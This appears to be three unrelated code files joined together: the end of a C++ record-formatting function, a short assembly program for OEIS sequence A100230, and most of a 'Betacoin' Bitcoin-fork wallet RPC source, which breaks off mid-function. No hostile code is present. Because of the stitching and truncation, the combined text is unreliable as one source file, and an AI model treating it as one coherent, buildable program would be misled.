std::string show(const LocRecs& recs) {
std::string ret;
folly::format(&ret, "Major version: {}\n", recs.versionMajor);
folly::format(&ret, "Minor version: {}\n", recs.versionMinor);
folly::format(&ret, "LocationRecord[{}] = {{\n",
recs.records.size());
for (auto const& pair : recs.records) {
folly::format(&ret, " id {} = {{\n", pair.first);
for (auto const& locrec : pair.second) {
ret += " {\n";
folly::format(&ret, " address = {}\n", locrec.address);
folly::format(&ret, " size = {}\n", locrec.size);
ret += " }\n";
}
ret += " }\n";
}
return ret;
}
} }
|
; A100230: Main diagonal of triangle A100229.
; 1,2,10,35,118,392,1297,4286,14158,46763,154450,510116,1684801,5564522,18378370,60699635,200477278,662131472,2186871697,7222746566,23855111398,78788080763,260219353690,859446141836,2838557779201
mov $1,3
lpb $0,1
sub $0,1
add $3,$1
add $1,$3
sub $1,2
mov $2,$3
add $2,1
add $3,$1
mov $1,$2
lpe
sub $1,2
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <boost/assign/list_of.hpp>
#include "wallet.h"
#include "walletdb.h"
#include "bitcoinrpc.h"
#include "init.h"
#include "base58.h"
using namespace std;
using namespace boost;
using namespace boost::assign;
using namespace json_spirit;
int64 nWalletUnlockTime;
static CCriticalSection cs_nWalletUnlockTime;
std::string HelpRequiringPassphrase()
{
return pwalletMain->IsCrypted()
? "\nrequires wallet passphrase to be set with walletpassphrase first"
: "";
}
void EnsureWalletIsUnlocked()
{
if (pwalletMain->IsLocked())
throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Error: Please enter the wallet passphrase with walletpassphrase first.");
}
void WalletTxToJSON(const CWalletTx& wtx, Object& entry)
{
int confirms = wtx.GetDepthInMainChain();
entry.push_back(Pair("confirmations", confirms));
if (wtx.IsCoinBase())
entry.push_back(Pair("generated", true));
if (confirms)
{
entry.push_back(Pair("blockhash", wtx.hashBlock.GetHex()));
entry.push_back(Pair("blockindex", wtx.nIndex));
entry.push_back(Pair("blocktime", (boost::int64_t)(mapBlockIndex[wtx.hashBlock]->nTime)));
}
entry.push_back(Pair("txid", wtx.GetHash().GetHex()));
entry.push_back(Pair("time", (boost::int64_t)wtx.GetTxTime()));
entry.push_back(Pair("timereceived", (boost::int64_t)wtx.nTimeReceived));
entry.push_back(Pair("tx-comment", wtx.strTxComment));
BOOST_FOREACH(const PAIRTYPE(string,string)& item, wtx.mapValue)
entry.push_back(Pair(item.first, item.second));
}
string AccountFromValue(const Value& value)
{
string strAccount = value.get_str();
if (strAccount == "*")
throw JSONRPCError(RPC_WALLET_INVALID_ACCOUNT_NAME, "Invalid account name");
return strAccount;
}
Value getinfo(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getinfo\n"
"Returns an object containing various state info.");
proxyType proxy;
GetProxy(NET_IPV4, proxy);
Object obj;
obj.push_back(Pair("version", (int)CLIENT_VERSION));
obj.push_back(Pair("protocolversion",(int)PROTOCOL_VERSION));
obj.push_back(Pair("walletversion", pwalletMain->GetVersion()));
obj.push_back(Pair("balance", ValueFromAmount(pwalletMain->GetBalance())));
obj.push_back(Pair("blocks", (int)nBestHeight));
obj.push_back(Pair("timeoffset", (boost::int64_t)GetTimeOffset()));
obj.push_back(Pair("connections", (int)vNodes.size()));
obj.push_back(Pair("proxy", (proxy.first.IsValid() ? proxy.first.ToStringIPPort() : string())));
obj.push_back(Pair("difficulty", (double)GetDifficulty()));
obj.push_back(Pair("testnet", TestNet()));
obj.push_back(Pair("keypoololdest", (boost::int64_t)pwalletMain->GetOldestKeyPoolTime()));
obj.push_back(Pair("keypoolsize", pwalletMain->GetKeyPoolSize()));
obj.push_back(Pair("paytxfee", ValueFromAmount(nTransactionFee)));
if (pwalletMain->IsCrypted())
obj.push_back(Pair("unlocked_until", (boost::int64_t)nWalletUnlockTime));
obj.push_back(Pair("errors", GetWarnings("statusbar")));
return obj;
}
Value getnewaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"getnewaddress [account]\n"
"Returns a new Betacoin address for receiving payments. "
"If [account] is specified (recommended), it is added to the address book "
"so payments received with the address will be credited to [account].");
// Parse the account first so we don't generate a key if there's an error
string strAccount;
if (params.size() > 0)
strAccount = AccountFromValue(params[0]);
if (!pwalletMain->IsLocked())
pwalletMain->TopUpKeyPool();
// Generate a new key that is added to wallet
CPubKey newKey;
if (!pwalletMain->GetKeyFromPool(newKey, false))
throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first");
CKeyID keyID = newKey.GetID();
pwalletMain->SetAddressBookName(keyID, strAccount);
return CBitcoinAddress(keyID).ToString();
}
CBitcoinAddress GetAccountAddress(string strAccount, bool bForceNew=false)
{
CWalletDB walletdb(pwalletMain->strWalletFile);
CAccount account;
walletdb.ReadAccount(strAccount, account);
bool bKeyUsed = false;
// Check if the current key has been used
if (account.vchPubKey.IsValid())
{
CScript scriptPubKey;
scriptPubKey.SetDestination(account.vchPubKey.GetID());
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin();
it != pwalletMain->mapWallet.end() && account.vchPubKey.IsValid();
++it)
{
const CWalletTx& wtx = (*it).second;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
if (txout.scriptPubKey == scriptPubKey)
bKeyUsed = true;
}
}
// Generate a new key
if (!account.vchPubKey.IsValid() || bForceNew || bKeyUsed)
{
if (!pwalletMain->GetKeyFromPool(account.vchPubKey, false))
throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first");
pwalletMain->SetAddressBookName(account.vchPubKey.GetID(), strAccount);
walletdb.WriteAccount(strAccount, account);
}
return CBitcoinAddress(account.vchPubKey.GetID());
}
Value getaccountaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getaccountaddress <account>\n"
"Returns the current Betacoin address for receiving payments to this account.");
// Parse the account first so we don't generate a key if there's an error
string strAccount = AccountFromValue(params[0]);
Value ret;
ret = GetAccountAddress(strAccount).ToString();
return ret;
}
Value setaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"setaccount <betacoinaddress> <account>\n"
"Sets the account associated with the given address.");
CBitcoinAddress address(params[0].get_str());
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid Betacoin address");
string strAccount;
if (params.size() > 1)
strAccount = AccountFromValue(params[1]);
// Detect when changing the account of an address that is the 'unused current key' of another account:
if (pwalletMain->mapAddressBook.count(address.Get()))
{
string strOldAccount = pwalletMain->mapAddressBook[address.Get()];
if (address == GetAccountAddress(strOldAccount))
GetAccountAddress(strOldAccount, true);
}
pwalletMain->SetAddressBookName(address.Get(), strAccount);
return Value::null;
}
Value getaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getaccount <betacoinaddress>\n"
"Returns the account associated with the given address.");
CBitcoinAddress address(params[0].get_str());
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid Betacoin address");
string strAccount;
map<CTxDestination, string>::iterator mi = pwalletMain->mapAddressBook.find(address.Get());
if (mi != pwalletMain->mapAddressBook.end() && !(*mi).second.empty())
strAccount = (*mi).second;
return strAccount;
}
Value getaddressesbyaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getaddressesbyaccount <account>\n"
"Returns the list of addresses for the given account.");
string strAccount = AccountFromValue(params[0]);
// Find all addresses that have the given account
Array ret;
BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, string)& item, pwalletMain->mapAddressBook)
{
const CBitcoinAddress& address = item.first;
const string& strName = item.second;
if (strName == strAccount)
ret.push_back(address.ToString());
}
return ret;
}
Value sendtoaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 5)
throw runtime_error(
"sendtoaddress <betacoinaddress> <amount> [comment] [comment-to] [tx-comment]\n"
"<amount> is a real and is rounded to the nearest 0.00000001"
+ HelpRequiringPassphrase());
CBitcoinAddress address(params[0].get_str());
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid Betacoin address");
// Amount
int64 nAmount = AmountFromValue(params[1]);
// Wallet comments
CWalletTx wtx;
if (params.size() > 2 && params[2].type() != null_type && !params[2].get_str().empty())
wtx.mapValue["comment"] = params[2].get_str();
if (params.size() > 3 && params[3].type() != null_type && !params[3].get_str().empty())
wtx.mapValue["to"] = params[3].get_str();
// Transaction comment
std::string txcomment;
if (params.size() > 4 && params[4].type() != null_type && !params[4].get_str().empty())
{
txcomment = params[4].get_str();
if (txcomment.length() > MAX_TX_COMMENT_LEN)
txcomment.resize(MAX_TX_COMMENT_LEN);
}
if (pwalletMain->IsLocked())
throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Error: Please enter the wallet passphrase with walletpassphrase first.");
string strError = pwalletMain->SendMoneyToDestination(address.Get(), nAmount, wtx, false, txcomment);
if (strError != "")
throw JSONRPCError(RPC_WALLET_ERROR, strError);
return wtx.GetHash().GetHex();
}
Value listaddressgroupings(const Array& params, bool fHelp)
{
if (fHelp)
throw runtime_error(
"listaddressgroupings\n"
"Lists groups of addresses which have had their common ownership\n"
"made public by common use as inputs or as the resulting change\n"
"in past transactions");
Array jsonGroupings;
map<CTxDestination, int64> balances = pwalletMain->GetAddressBalances();
BOOST_FOREACH(set<CTxDestination> grouping, pwalletMain->GetAddressGroupings())
{
Array jsonGrouping;
BOOST_FOREACH(CTxDestination address, grouping)
{
Array addressInfo;
addressInfo.push_back(CBitcoinAddress(address).ToString());
addressInfo.push_back(ValueFromAmount(balances[address]));
{
LOCK(pwalletMain->cs_wallet);
if (pwalletMain->mapAddressBook.find(CBitcoinAddress(address).Get()) != pwalletMain->mapAddressBook.end())
addressInfo.push_back(pwalletMain->mapAddressBook.find(CBitcoinAddress(address).Get())->second);
}
jsonGrouping.push_back(addressInfo);
}
jsonGroupings.push_back(jsonGrouping);
}
return jsonGroupings;
}
Value signmessage(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 2)
throw runtime_error(
"signmessage <betacoinaddress> <message>\n"
"Sign a message with the private key of an address");
EnsureWalletIsUnlocked();
string strAddress = params[0].get_str();
string strMessage = params[1].get_str();
CBitcoinAddress addr(strAddress);
if (!addr.IsValid())
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address");
CKeyID keyID;
if (!addr.GetKeyID(keyID))
throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key");
CKey key;
if (!pwalletMain->GetKey(keyID, key))
throw JSONRPCError(RPC_WALLET_ERROR, "Private key not available");
CHashWriter ss(SER_GETHASH, 0);
ss << strMessageMagic;
ss << strMessage;
vector<unsigned char> vchSig;
if (!key.SignCompact(ss.GetHash(), vchSig))
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Sign failed");
return EncodeBase64(&vchSig[0], vchSig.size());
}
Value verifymessage(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 3)
throw runtime_error(
"verifymessage <betacoinaddress> <signature> <message>\n"
"Verify a signed message");
string strAddress = params[0].get_str();
string strSign = params[1].get_str();
string strMessage = params[2].get_str();
CBitcoinAddress addr(strAddress);
if (!addr.IsValid())
throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address");
CKeyID keyID;
if (!addr.GetKeyID(keyID))
throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key");
bool fInvalid = false;
vector<unsigned char> vchSig = DecodeBase64(strSign.c_str(), &fInvalid);
if (fInvalid)
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Malformed base64 encoding");
CHashWriter ss(SER_GETHASH, 0);
ss << strMessageMagic;
ss << strMessage;
CPubKey pubkey;
if (!pubkey.RecoverCompact(ss.GetHash(), vchSig))
return false;
return (pubkey.GetID() == keyID);
}
Value getreceivedbyaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"getreceivedbyaddress <betacoinaddress> [minconf=1]\n"
"Returns the total amount received by <betacoinaddress> in transactions with at least [minconf] confirmations.");
// Bitcoin address
CBitcoinAddress address = CBitcoinAddress(params[0].get_str());
CScript scriptPubKey;
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid Betacoin address");
scriptPubKey.SetDestination(address.Get());
if (!IsMine(*pwalletMain,scriptPubKey))
return (double)0.0;
// Minimum confirmations
int nMinDepth = 1;
if (params.size() > 1)
nMinDepth = params[1].get_int();
// Tally
int64 nAmount = 0;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (wtx.IsCoinBase() || !IsFinalTx(wtx))
continue;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
if (txout.scriptPubKey == scriptPubKey)
if (wtx.GetDepthInMainChain() >= nMinDepth)
nAmount += txout.nValue;
}
return ValueFromAmount(nAmount);
}
void GetAccountAddresses(string strAccount, set<CTxDestination>& setAddress)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, string)& item, pwalletMain->mapAddressBook)
{
const CTxDestination& address = item.first;
const string& strName = item.second;
if (strName == strAccount)
setAddress.insert(address);
}
}
Value getreceivedbyaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"getreceivedbyaccount <account> [minconf=1]\n"
"Returns the total amount received by addresses with <account> in transactions with at least [minconf] confirmations.");
// Minimum confirmations
int nMinDepth = 1;
if (params.size() > 1)
nMinDepth = params[1].get_int();
// Get the set of pub keys assigned to account
string strAccount = AccountFromValue(params[0]);
set<CTxDestination> setAddress;
GetAccountAddresses(strAccount, setAddress);
// Tally
int64 nAmount = 0;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (wtx.IsCoinBase() || !IsFinalTx(wtx))
continue;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
{
CTxDestination address;
if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*pwalletMain, address) && setAddress.count(address))
if (wtx.GetDepthInMainChain() >= nMinDepth)
nAmount += txout.nValue;
}
}
return (double)nAmount / (double)COIN;
}
int64 GetAccountBalance(CWalletDB& walletdb, const string& strAccount, int nMinDepth)
{
int64 nBalance = 0;
// Tally wallet transactions
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (!IsFinalTx(wtx))
continue;
int64 nReceived, nSent, nFee;
wtx.GetAccountAmounts(strAccount, nReceived, nSent, nFee);
if (nReceived != 0 && wtx.GetDepthInMainChain() >= nMinDepth)
nBalance += nReceived;
nBalance -= nSent + nFee;
}
// Tally internal accounting entries
nBalance += walletdb.GetAccountCreditDebit(strAccount);
return nBalance;
}
int64 GetAccountBalance(const string& strAccount, int nMinDepth)
{
CWalletDB walletdb(pwalletMain->strWalletFile);
return GetAccountBalance(walletdb, strAccount, nMinDepth);
}
Value getbalance(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"getbalance [account] [minconf=1]\n"
"If [account] is not specified, returns the server's total available balance.\n"
"If [account] is specified, returns the balance in the account.");
if (params.size() == 0)
return ValueFromAmount(pwalletMain->GetBalance());
int nMinDepth = 1;
if (params.size() > 1)
nMinDepth = params[1].get_int();
if (params[0].get_str() == "*") {
// Calculate total balance a different way from GetBalance()
// (GetBalance() sums up all unspent TxOuts)
// getbalance and getbalance '*' 0 should return the same number
int64 nBalance = 0;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (!wtx.IsConfirmed())
continue;
int64 allFee;
string strSentAccount;
list<pair<CTxDestination, int64> > listReceived;
list<pair<CTxDestination, int64> > listSent;
wtx.GetAmounts(listReceived, listSent, allFee, strSentAccount);
if (wtx.GetDepthInMainChain() >= nMinDepth)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64)& r, listReceived)
nBalance += r.second;
}
BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64)& r, listSent)
nBalance -= r.second;
nBalance -= allFee;
}
return ValueFromAmount(nBalance);
}
string strAccount = AccountFromValue(params[0]);
int64 nBalance = GetAccountBalance(strAccount, nMinDepth);
return ValueFromAmount(nBalance);
}
Value movecmd(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 3 || params.size() > 5)
throw runtime_error(
"move <fromaccount> <toaccount> <amount> [minconf=1] [comment]\n"
"Move from one account in your wallet to another.");
string strFrom = AccountFromValue(params[0]);
string strTo = AccountFromValue(params[1]);
int64 nAmount = AmountFromValue(params[2]);
if (params.size() > 3)
// unused parameter, used to be nMinDepth, keep type-checking it though
(void)params[3].get_int();
string strComment;
if (params.size() > 4)
strComment = params[4].get_str();
CWalletDB walletdb(pwalletMain->strWalletFile);
if (!walletdb.TxnBegin())
throw JSONRPCError(RPC_DATABASE_ERROR, "database error");
int64 nNow = GetAdjustedTime();
// Debit
CAccountingEntry debit;
debit.nOrderPos = pwalletMain->IncOrderPosNext(&walletdb);
debit.strAccount = strFrom;
debit.nCreditDebit = -nAmount;
debit.nTime = nNow;
debit.strOtherAccount = strTo;
debit.strComment = strComment;
walletdb.WriteAccountingEntry(debit);
// Credit
CAccountingEntry credit;
credit.nOrderPos = pwalletMain->IncOrderPosNext(&walletdb);
credit.strAccount = strTo;
credit.nCreditDebit = nAmount;
credit.nTime = nNow;
credit.strOtherAccount = strFrom;
credit.strComment = strComment;
walletdb.WriteAccountingEntry(credit);
if (!walletdb.TxnCommit())
throw JSONRPCError(RPC_DATABASE_ERROR, "database error");
return true;
}
Value sendfrom(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 3 || params.size() > 7)
throw runtime_error(
"sendfrom <fromaccount> <tobetacoinaddress> <amount> [minconf=1] [comment] [comment-to] [tx-comment]\n"
"<amount> is a real and is rounded to the nearest 0.00000001"
+ HelpRequiringPassphrase());
string strAccount = AccountFromValue(params[0]);
CBitcoinAddress address(params[1].get_str());
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid Betacoin address");
int64 nAmount = AmountFromValue(params[2]);
int nMinDepth = 1;
if (params.size() > 3)
nMinDepth = params[3].get_int();
CWalletTx wtx;
wtx.strFromAccount = strAccount;
if (params.size() > 4 && params[4].type() != null_type && !params[4].get_str().empty())
wtx.mapValue["comment"] = params[4].get_str();
if (params.size() > 5 && params[5].type() != null_type && !params[5].get_str().empty())
wtx.mapValue["to"] = params[5].get_str();
std::string txcomment;
if (params.size() > 6 && params[6].type() != null_type && !params[6].get_str().empty())
{
txcomment = params[6].get_str();
if (txcomment.length() > MAX_TX_COMMENT_LEN)
txcomment.resize(MAX_TX_COMMENT_LEN);
}
EnsureWalletIsUnlocked();
// Check funds
int64 nBalance = GetAccountBalance(strAccount, nMinDepth);
if (nAmount > nBalance)
throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Account has insufficient funds");
// Send
string strError = pwalletMain->SendMoneyToDestination(address.Get(), nAmount, wtx, false, txcomment);
if (strError != "")
throw JSONRPCError(RPC_WALLET_ERROR, strError);
return wtx.GetHash().GetHex();
}
Value sendmany(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 5)
throw runtime_error(
"sendmany <fromaccount> {address:amount,...} [minconf=1] [comment] [tx-comment]\n"
"amounts are double-precision floating point numbers"
+ HelpRequiringPassphrase());
string strAccount = AccountFromValue(params[0]);
Object sendTo = params[1].get_obj();
int nMinDepth = 1;
if (params.size() > 2)
nMinDepth = params[2].get_int();
CWalletTx wtx;
std::string strTxComment;
wtx.strFromAccount = strAccount;
if (params.size() > 3 && params[3].type() != null_type && !params[3].get_str().empty())
wtx.mapValue["comment"] = params[3].get_str();
if (params.size() > 4 && params[4].type() != null_type && !params[4].get_str().empty())
strTxComment = params[4].get_str();
set<CBitcoinAddress> setAddress;
vector<pair<CScript, int64> > vecSend;
int64 totalAmount = 0;
BOOST_FOREACH(const Pair& s, sendTo)
{
CBitcoinAddress address(s.name_);
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, string("Invalid Betacoin address: ")+s.name_);
if (setAddress.count(address))
throw JSONRPCError(RPC_INVALID_PARAMETER, string("Invalid parameter, duplicated address: ")+s.name_);
setAddress.insert(address);
CScript scriptPubKey;
scriptPubKey.SetDestination(address.Get());
int64 nAmount = AmountFromValue(s.value_);
totalAmount += nAmount;
vecSend.push_back(make_pair(scriptPubKey, nAmount));
}
EnsureWalletIsUnlocked();
// Check funds
int64 nBalance = GetAccountBalance(strAccount, nMinDepth);
if (totalAmount > nBalance)
throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Account has insufficient funds");
// Send
CReserveKey keyChange(pwalletMain);
int64 nFeeRequired = 0;
string strFailReason;
bool fCreated = pwalletMain->CreateTransaction(vecSend, wtx, keyChange, nFeeRequired, strFailReason, strTxComment);
if (!fCreated)
throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, strFailReason);
if (!pwalletMain->CommitTransaction(wtx, keyChange))
throw JSONRPCError(RPC_WALLET_ERROR, "Transaction commit failed");
return wtx.GetHash().GetHex();
}
//
// Used by addmultisigaddress / createmultisig:
//
static CScript _createmultisig(const Array& params)
{
int nRequired = params[0].get_int();
const Array& keys = params[1].get_array();
// Gather public keys
if (nRequired < 1)
throw runtime_error("a multisignature address must require at least one key to redeem");
if ((int)keys.size() < nRequired)
throw runtime_error(
strprintf("not enough keys supplied "
"(got %"PRIszu" keys, but need at least %d to redeem)", keys.size(), nRequired));
std::vector<CPubKey> pubkeys;
pubkeys.resize(keys.size());
for (unsigned int i = 0; i < keys.size(); i++)
{
const std::string& ks = keys[i].get_str();
// Case 1: Betacoin address and we have full public key:
CBitcoinAddress address(ks);
if (address.IsValid())
{
CKeyID keyID;
if (!address.GetKeyID(keyID))
throw runtime_error(
strprintf("%s does not refer to a key",ks.c_str()));
CPubKey vchPubKey;
if (!pwalletMain->GetPubKey(keyID, vchPubKey))
throw runtime_error(
strprintf("no full public key for address %s",ks.c_str()));
if (!vchPubKey.IsFullyValid())
throw runtime_error(" Invalid public key: "+ks);
pubkeys[i] = vchPubKey;
}
// Case 2: hex public key
else if (IsHex(ks))
{
CPubKey vchPubKey(ParseHex(ks));
if (!vchPubKey.IsFullyValid())
throw runtime_error(" Invalid public key: "+ks);
pubkeys[i] = vchPubKey;
}
else
{
throw runtime_error(" Invalid public key: "+ks);
}
}
CScript result;
result.SetMultisig(nRequired, pubkeys);
return result;
}
Value addmultisigaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 3)
{
string msg = "addmultisigaddress <nrequired> <'[\"key\",\"key\"]'> [account]\n"
"Add a nrequired-to-sign multisignature address to the wallet\"\n"
"each key is a Betacoin address or hex-encoded public key\n"
"If [account] is specified, assign address to [account].";
throw runtime_error(msg);
}
string strAccount;
if (params.size() > 2)
strAccount = AccountFromValue(params[2]);
// Construct using pay-to-script-hash:
CScript inner = _createmultisig(params);
CScriptID innerID = inner.GetID();
pwalletMain->AddCScript(inner);
pwalletMain->SetAddressBookName(innerID, strAccount);
return CBitcoinAddress(innerID).ToString();
}
Value createmultisig(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 2)
{
string msg = "createmultisig <nrequired> <'[\"key\",\"key\"]'>\n"
"Creates a multi-signature address and returns a json object\n"
"with keys:\n"
"address : betacoin address\n"
"redeemScript : hex-encoded redemption script";
throw runtime_error(msg);
}
// Construct using pay-to-script-hash:
CScript inner = _createmultisig(params);
CScriptID innerID = inner.GetID();
CBitcoinAddress address(innerID);
Object result;
result.push_back(Pair("address", address.ToString()));
result.push_back(Pair("redeemScript", HexStr(inner.begin(), inner.end())));
return result;
}
struct tallyitem
{
int64 nAmount;
int nConf;
vector<uint256> txids;
tallyitem()
{
nAmount = 0;
nConf = std::numeric_limits<int>::max();
}
};
Value ListReceived(const Array& params, bool fByAccounts)
{
// Minimum confirmations
int nMinDepth = 1;
if (params.size() > 0)
nMinDepth = params[0].get_int();
// Whether to include empty accounts
bool fIncludeEmpty = false;
if (params.size() > 1)
fIncludeEmpty = params[1].get_bool();
// Tally
map<CBitcoinAddress, tallyitem> mapTally;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (wtx.IsCoinBase() || !IsFinalTx(wtx))
continue;
int nDepth = wtx.GetDepthInMainChain();
if (nDepth < nMinDepth)
continue;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
{
CTxDestination address;
if (!ExtractDestination(txout.scriptPubKey, address) || !IsMine(*pwalletMain, address))
continue;
tallyitem& item = mapTally[address];
item.nAmount += txout.nValue;
item.nConf = min(item.nConf, nDepth);
item.txids.push_back(wtx.GetHash());
}
}
// Reply
Array ret;
map<string, tallyitem> mapAccountTally;
BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, string)& item, pwalletMain->mapAddressBook)
{
const CBitcoinAddress& address = item.first;
const string& strAccount = item.second;
map<CBitcoinAddress, tallyitem>::iterator it = mapTally.find(address);
if (it == mapTally.end() && !fIncludeEmpty)
continue;
int64 nAmount = 0;
int nConf = std::numeric_limits<int>::max();
if (it != mapTally.end())
{
nAmount = (*it).second.nAmount;
nConf = (*it).second.nConf;
}
if (fByAccounts)
{
tallyitem& item = mapAccountTally[strAccount];
item.nAmount += nAmount;
item.nConf = min(item.nConf, nConf);
}
else
{
Object obj;
obj.push_back(Pair("address", address.ToString()));
obj.push_back(Pair("account", strAccount));
obj.push_back(Pair("amount", ValueFromAmount(nAmount)));
obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf)));
Array transactions;
if (it != mapTally.end())
{
BOOST_FOREACH(const uint256& item, (*it).second.txids)
{
transactions.push_back(item.GetHex());
}
}
obj.push_back(Pair("txids", transactions));
ret.push_back(obj);
}
}
if (fByAccounts)
{
for (map<string, tallyitem>::iterator it = mapAccountTally.begin(); it != mapAccountTally.end(); ++it)
{
int64 nAmount = (*it).second.nAmount;
int nConf = (*it).second.nConf;
Object obj;
obj.push_back(Pair("account", (*it).first));
obj.push_back(Pair("amount", ValueFromAmount(nAmount)));
obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf)));
ret.push_back(obj);
}
}
return ret;
}
Value listreceivedbyaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"listreceivedbyaddress [minconf=1] [includeempty=false]\n"
"[minconf] is the minimum number of confirmations before payments are included.\n"
"[includeempty] whether to include addresses that haven't received any payments.\n"
"Returns an array of objects containing:\n"
" \"address\" : receiving address\n"
" \"account\" : the account of the receiving address\n"
" \"amount\" : total amount received by the address\n"
" \"confirmations\" : number of confirmations of the most recent transaction included\n"
" \"txids\" : list of transactions with outputs to the address\n");
return ListReceived(params, false);
}
Value listreceivedbyaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"listreceivedbyaccount [minconf=1] [includeempty=false]\n"
"[minconf] is the minimum number of confirmations before payments are included.\n"
"[includeempty] whether to include accounts that haven't received any payments.\n"
"Returns an array of objects containing:\n"
" \"account\" : the account of the receiving addresses\n"
" \"amount\" : total amount received by addresses with this account\n"
" \"confirmations\" : number of confirmations of the most recent transaction included");
return ListReceived(params, true);
}
void ListTransactions(const CWalletTx& wtx, const string& strAccount, int nMinDepth, bool fLong, Array& ret)
{
int64 nFee;
string strSentAccount;
list<pair<CTxDestination, int64> > listReceived;
list<pair<CTxDestination, int64> > listSent;
wtx.GetAmounts(listReceived, listSent, nFee, strSentAccount);
bool fAllAccounts = (strAccount == string("*"));
// Sent
if ((!listSent.empty() || nFee != 0) && (fAllAccounts || strAccount == strSentAccount))
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& s, listSent)
{
Object entry;
entry.push_back(Pair("account", strSentAccount));
entry.push_back(Pair("address", CBitcoinAddress(s.first).ToString()));
entry.push_back(Pair("category", "send"));
entry.push_back(Pair("amount", ValueFromAmount(-s.second)));
entry.push_back(Pair("fee", ValueFromAmount(-nFee)));
if (fLong)
WalletTxToJSON(wtx, entry);
ret.push_back(entry);
}
}
// Received
if (listReceived.size() > 0 && wtx.GetDepthInMainChain() >= nMinDepth)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, int64)& r, listReceived)
{
string account;
if (pwalletMain->mapAddressBook.count(r.first))
account = pwalletMain->mapAddressBook[r.first];
if (fAllAccounts || (account == strAccount))
{
Object entry;
entry.push_back(Pair("account", account));
entry.push_back(Pair("address", CBitcoinAddress(r.first).ToString()));
if (wtx.IsCoinBase())
{
if (wtx.GetDepthInMainChain() < 1)
entry.push_back(Pair("category", "orphan"));
else if (wtx.GetBlocksToMaturity() > 0)
entry.push_back(Pair("category", "immature"));
else
entry.push_back(Pair("category", "generate"));
}
else
entry.push_back(Pair("category", "receive"));
entry.push_back(Pair("amount", ValueFromAmount(r.second)));
if (fLong)
WalletTxToJSON(wtx, entry);
ret.push_back(entry);
